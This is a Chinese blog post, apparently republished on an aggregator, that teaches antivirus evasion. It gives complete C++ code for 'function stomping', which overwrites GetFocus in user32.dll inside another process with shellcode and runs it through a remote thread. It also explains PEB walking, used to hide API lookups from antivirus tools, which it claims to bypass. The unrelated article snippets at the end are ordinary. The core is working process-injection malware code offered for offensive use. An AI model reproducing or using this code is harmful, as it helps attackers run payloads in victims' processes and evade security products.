免杀笔记 ---> 函数踩踏 PEB寻址

news2024/9/29 17:31:42

又鸽了一段时间了,最近在写这个武器,感兴趣的师傅们可以去看看(顺便给我点个Star)

whoami-juruo/InjectTools: 一款集成了DLL-Session0注入,APC注入,映射注入,线程劫持,函数踩踏自提权的工具 (github.com)

    ::累死我了,点个Star吧

那么言归正传,我们来讲今天的主题,函数踩踏 && PEB寻址 

目录

1.函数踩踏(Function Stomping)

1.本地获取到DLL的句柄

2.找到目标函数

3.打开目标进程的句柄

4.进行函数踩踏

5.创建远程远程线程运行shellcode

2.PEB寻址

1.PEB && TEB

2.PEB_LDR_DATA 

3. _LIST_ENTRY | Flink && Blink 

4.GetModuleHanlde --> GetModuleByPeb 

5. GetProcAddress ---> GetFunctionAddress


1.函数踩踏(Function Stomping)

函数踩踏,又有人叫做模块践踏,其实说人话就是把别人的某个加载了的dll中的某个函数进行覆盖,让这个函数内容变成自己的shellcode,让后让别的程序上线!!!

想弄清楚函数踩踏,必须弄清一个原理!!!

我们的EXE通过在本地进程中加载相同的 DLL 并使用`GetProcAddress`获取目标函数的地址。由于虽然 DLL 在每个进程中的基地址可能不同,但是导出的函数地址通常是相同的,因此可以在本地获取目标函数的准确地址

所以我们函数踩踏的思路就很明朗了!! 

  1. 先在本地获取到DLL的句柄
  2. 然后去DLL中找目标进程调用了的函数
  3. 然后OpenProcess获取对方的句柄
  4. 然后通过WriteProcessMemory来修改对方的函数内容

所以我们就可以写代码了

1.本地获取到DLL的句柄

通过下面的代码,我们就获取到了user32.dll的句柄

HMODULE   hTargetDll   = NULL;
LoadLibraryW(L"user32.dll");   //本exe并没有直接用到user32.dll中的东西,所以就要load进来
hTargetDll = GetModuleHandleW(L"user32.dll");
if (hTargetDll == NULL)
{
	cout << GetLastError() << endl;
	return;
}

2.找到目标函数

然后,我们就可以通过GetProcAddress来获取我们的目标函数GetFocus了!!

ptarget = GetProcAddress(hTargetDll, "GetFocus");
if (ptarget == NULL)
{
	cout << GetLastError() << endl;
	return;
}

3.打开目标进程的句柄

然后就是打开我们目标进程的句柄了(其实OpenProcess是一个非常危险的操作),这里其中需要的到进程的API,你可以通过遍历进程去获取(写一个输入,然后遍历进程字符串比较),这里我就直接用PID了 偷懒了

	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 22160);
	if (hProcess == INVALID_HANDLE_VALUE)
	{
		cout << GetLastError() << endl;
		return;
	}

4.进行函数踩踏

然后就是通过WriteProcessMemory来进行函数踩踏了


	if (!WriteProcessMemory(hProcess, ptarget, buf, sizeof(buf), NULL))
	{
		cout << GetLastError() << endl;
		return;
	}
    VirtualProtectEx(hProcess, ptarget, sizeof(buf), PAGE_EXECUTE_READWRITE, NULL)

5.创建远程远程线程运行shellcode

这里我们创建远程线程让目标程序起线程运行我们的shellcode

但是在启之前,不知道大家有没有好奇过,为啥我不能直接指针调用这里??? 

  ::这是因为Windows的内存管理,导致你的进程不能直接执行别人进程的内存空间!!!!

	hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ptarget, NULL, NULL, NULL);
	if (hThread == INVALID_HANDLE_VALUE)
	{
		cout << GetLastError() << endl;
		return;
	}

解决完上面的问题之后,我们就直接调用这个函数,然后就直接能看见上线了!!! 

#include<iostream>
#include<windows.h>
using namespace std;

/* length: 891 bytes */
unsigned char buf[] = "";

void FunctionStomping()
{
	HANDLE    hThread		= INVALID_HANDLE_VALUE;
	HANDLE    hProcess		= INVALID_HANDLE_VALUE;
	HMODULE   hTargetDll	= NULL;
	PVOID     ptarget		= NULL;
	LoadLibraryW(L"user32.dll");   //本exe并没有直接用到user32.dll中的东西,所以就要load进来
	hTargetDll = GetModuleHandleW(L"user32.dll");
	if (hTargetDll == NULL)
	{
		cout << GetLastError() << endl;
		return;
	}
	ptarget = GetProcAddress(hTargetDll, "GetFocus");
	if (ptarget == NULL)
	{
		cout << GetLastError() << endl;
		return;
	}

	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 31124);
	if (hProcess == INVALID_HANDLE_VALUE)
	{
		cout << GetLastError() << endl;
		return;
	}
	if (!WriteProcessMemory(hProcess, ptarget, buf, sizeof(buf), NULL))
	{
		cout << GetLastError() << endl;
		return;
	}
	VirtualProtectEx(hProcess, ptarget, sizeof(buf), PAGE_EXECUTE_READWRITE, NULL);
	hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ptarget, NULL, NULL, NULL);
	if (hThread == INVALID_HANDLE_VALUE)
	{
		cout << GetLastError() << endl;
		return;
	}

}

int main()
{
	FunctionStomping();

	return 0;
}

2.PEB寻址

我们之前都是用的GetModuleHanlde + GetProcAddress ,通过这样的动态调用,我们能直接过火绒,管家,df(加密)! 但是这样其实还是有痕迹的,最终版就是通过PEB寻址!!

1.PEB && TEB

PEB(Process Environment Block) 它存储了进程级别的数据,比如进程的环境变量、命令行参数、进程的堆内存地址等信息。

TEB (Thread Environment Block)TEB存储了线程级别的数据,例如线程的堆栈地址、TLS(Thread Local Storage,线程本地存储)等信息。

其中,在32位下,在TEB的0x30偏移是PEB ,在64位下 TEB 的 0x60是TEB 

2.PEB_LDR_DATA 

其中,在32位下,在PEB 的0x00c偏移是PEB_LDR_DATA这个结构体

我们跟进去,就能看见这样的内容,其中重要的,就是框框中的三个双向链表!!

3. _LIST_ENTRY | Flink && Blink 

我们跟进去,就能发现只有两个成员 Flink && Blink 

Blink 指向上一个上一个节点,Flink指向下一个节点。

其中可以用一张图片来总结,其中在 _LDR_DATA_TABLE_ENTRY

4.GetModuleHanlde --> GetModuleByPeb 

了解了上面的东西之后,我们就可以来写代码了,前面获取_LDR_DATA的代码我们就不多说了,我们直接来看看核心代码!

首先 AddressFirstNode 指的是_LDR_DATA中的InMemoryOrderModuleList的Fliink结构,AddressFristPLIST指向的是InMemoryOrderModuleList结构,那么每次我们进入循环的时候,我们都拿到下一个节点_LDR_DATA_TABLE_ENTRY的INMEMORYORDERLINKS这个结构,那么,我们通过减一,就能获取到 _LDR_DATA_TABLE_ENTRY的结构首地址,然后再进行强制转换为_LDR_DATA_TABLE_ENTRY指针,这样,我们就能拿到这个结构体里面的FullDLLName了!并且通过将这个与我们的DLL名字相比较,我们就能获取到了目标DLL的 _LDR_DATA_TABLE_ENRTY结构,然后我们直接返回这个结构的DLLBase地址就完成了GetModuleHanlde的操作了 !!!

  ::就是这样的,虽然有点难理解

5. GetProcAddress ---> GetFunctionAddress

在上面有了DLL的基地址之后,我们就能通过导出表找到我们对应的函数了

其余获取导出表的结构就不多讲了,重点其实就是在这个,通过遍历导出表,我们能获取到我们的函数地址对应的RVA,并通过计算,我们就能得到我们函数的地址了!!!

这样,我们就能从导入表中将GetModuleHanlde 和GetProcAddress这两个API成功抹去了!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1991789.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电脑开机出现checking media presence原因分析及解决方法

最近有网友反馈电脑开机出现checking media presence&#xff1f;电脑开机出现checking media presence原因有很多&#xff1a;分区类型不对、双硬盘选择的第一启动项不对等等原因&#xff0c;下面小编就教大家电脑开机出现checking media presence详细解决方法。 电脑开机出现…

【ARM】CMSIS 软件标准接口

目录 CMSIS&#xff1a;Cortex Microcontroller Software Interface Standard1. 概述2. CMSIS-Core2.1 概述2.2 关键组件2.3 示例代码2.4 详细解释 3. CMSIS-DSP3.1 概述3.2 关键组件3.3 示例代码3.4 详细解释 4. CMSIS-RTOS4.1 概述4.2 关键组件4.3 示例代码4.4 详细解释 5. C…

java之equals的使用区别

public class SystermDemo3 {public static void main(String[] args) {String s"abc";StringBuilder sbnew StringBuilder("abc");System.out.println(s.equals(sb));//false//equals方法是被s调用的,而s是字符串//所以equals要看String类中//字符串中的e…

大模型笔记5 Extractive QA任务评估

目录 Extractive QA任务评估 Extractive QA评测指标 precision, recall, f1 ROUGE 划分训练与评估数据集 token位置评估 单个token位置评估 输入label的token位置 预测token位置 评估 Wandb 共享机器同时登录 样本类别平衡 标记token label时对窗口进行筛选 训练…

亚马逊日本站认证 硅藻土商品

商品说明和商品照片 硅藻土商品&#xff0c;是指以硅藻土为主要原料而制作的商品。其中&#xff0c;针对浴室脚垫和杯垫等呈板状的商品&#xff0c;因需确认其石棉含有率符合相关安全基准规定&#xff0c;请您提交相关证明资料。 防止石棉损害健康条例以及相关法令 可证明该产…

[算法题]课程表/课程表 II

题目链接: 课程表 课程表 II 通过拓扑排序求解, 首先认识有向无环图: 入度表示有多少点指向自己, 出度表示自己指向多少点, 拓扑排序的思想则为选出入度为 0 的点排, 然后将被选出的点指向的点的入度减 1, 当入度被减到 0 时表示该点可以被选出, 一直循环直到全部点被选出或…

书生大模型实战营-基础关卡-2-8G 显存玩转书生大模型 Demo

Cli Demo 部署 InternLM2-Chat-1.8B 模型 先简单试试 InternLM2-Chat-1.8B 模型的能力 生成 300 字的小故事 我的prompt&#xff1a;写一个300字以内的小故事,故事符合中国特色. 模型输出&#xff1a;故事整体性还是很好的。 在一个小镇上&#xff0c;住着一只名叫小明的猫咪…

基于Dijkstra的校园导游系统

目录 一. 设计目的 二. 设计背景 三. 系统功能 四. 系统算法实现 五. 系统调试与结果分析 六. 完整源代码 一. 设计目的 通过设计并实现校园导游系统&#xff0c;使学生对数据结构有更深入的了解。该系统综合性非常广&#xff0c;能够极大提高学生的设计&#xff0c;编程及…

数据库中的约束,聚合函数以及联合查询

目录 数据库中的约束 not null unique default primary key foreign key 表的设计 聚合函数&#xff08;查询&#xff09; 分组 联表查询&#xff08;多表查询&#xff09; 内连接 外连接 左外连接 右外连接 自连接 子查询 合并查询 数据库中的约束 为了保证…

用python获取系统的硬件信息(python实例二十九)

目录 1.认识Python 2.环境与工具 2.1 python环境 2.2 Visual Studio Code编译 3.获取系统信息 3.1 代码构思 3.2 代码示例 3.3 运行部分结果 4.总结 1.认识Python Python 是一个高层次的结合了解释性、编译性、互动性和面向对象的脚本语言。 Python 的设计具有很强的…

计算机组成原理面试-核心概念-问题理解

目录 1.怎么理解计算机组成原理中存储器、控制器、运算器、输入输出设备之间的协作关系和工作流程 2.比、比特等类似几种表示信息存储的单位具体换算 3.介绍计算机的五大功能-数据传送功能、数据存储功能、数据处理功能、操作控制功能、操作判断功能 4.计算机的工作过程/指令…

【Linux基础】Linux基本指令(一)

目录 前言1&#xff0c; ls指令2&#xff0c;pwd指令三&#xff0c;cd指令3.1 当前目录与上级目录3.2 绝对路径和相对路径3.3 tree指令 四&#xff0c;创建一个普通文件或目录4.1 touch指令4.2 mkdir指令 五&#xff0c;删除目录或文件5.1 rmdir指令5.2 rm 指令 六&#xff0c;…

华大基因阿尔茨海默病风险基因检测,助力阿尔茨海默病早预防

中国正面临日益加剧的老龄化挑战。据统计&#xff0c;2020年我国60岁以上的老年人口已达2.6亿&#xff0c;其中轻度认知障碍患者超过3800万&#xff0c;而阿尔茨海默病患者近千万。随着这一趋势的延续&#xff0c;如何早期发现和预防阿尔茨海默病已成为公共卫生领域的重要议题。…

为什么建议从二维向三维GIS开发方向拓展?

GIS开发是地理信息系统领域中一个薪资待遇较高的职业方向&#xff0c;吸引了众多来自测绘、遥感和城市规划等相关专业的学生转型投身于WebGIS开发工作。 那么&#xff0c;今天从技术角度出发&#xff0c;探讨为何鼓励大家超越WebGIS的范畴&#xff0c;继续深入学习三维GIS开发…

el-date-picker 限制开始时间和结束时间

el-date-picker 限制开始时间和结束时间 需求&#xff1a;el-date-picker 月份限制开始时间和结束时间 开始时间&#xff1a;202307 结束时间&#xff1a;202407 代码实现 vue 页面 <el-form-item label"月份" prop"monthList"><el-date-picker …

零基础5分钟上手亚马逊云科技AWS核心云开发/云架构 - 创建高可用数据库集群

简介&#xff1a; 欢迎来到小李哥全新亚马逊云科技AWS云计算知识学习系列&#xff0c;适用于任何无云计算或者亚马逊云科技技术背景的开发者&#xff0c;让大家零基础5分钟通过这篇文章就能完全学会亚马逊云科技一个经典的服务开发架构方案。 我将每天介绍一个基于亚马逊云科…

测试概论之系统测试

系统测试 文章目录 系统测试一、系统测试定义二、系统测试的对象三、系统测试类型1、功能测试2、性能测试3、压力测试4、容量测试5、GUI 测试6、可以性测试7、安装性测试8、配置测试9、异常测试10、备份测试11、健壮性测试12、文档测试13、在线帮助测试14、网络测试 四、系统测…

为什么奥运会采用通义而不是 OpenAI,现在中国的 AI 技术是世界领先了吗?

奥运会作为全球最盛大的体育赛事之一&#xff0c;一直在不断地引入和利用最新的科技来提升赛事的组织效率、观众体验以及运动员的表现。在2024年巴黎奥运会上&#xff0c;人工智能&#xff08;AI&#xff09;技术的应用尤为引人注目。 首先&#xff0c;关于奥运会采用的技术选…

数字噪音计(声级计)【AR814数字噪音计】

系统介绍 声级计&#xff0c;又叫噪音计&#xff0c;是噪声测量中最基本的仪器。声级计一般由电容式传声器、前置放大器、衰减器、放大器、频率计权网络以及有效值指示表头等组成。 声级计的工作原理是&#xff1a;由传声器将声音转换成电信号&#xff0c;再由前置放大器放大…

【json解析】控制台打印json字符串格式正确,但json.loads()解析失败问题解决

问题为控制台打印json字符串格式正确&#xff0c;但json.loads()解析失败。看似简单的问题&#xff0c;却又折腾了好一会&#xff0c;因此记录一下解决方法&#xff01; 出现这个问题的原因&#xff1a;眼见不一定为实&#xff0c;控制台打印的json字符串并不一定是实际的json字…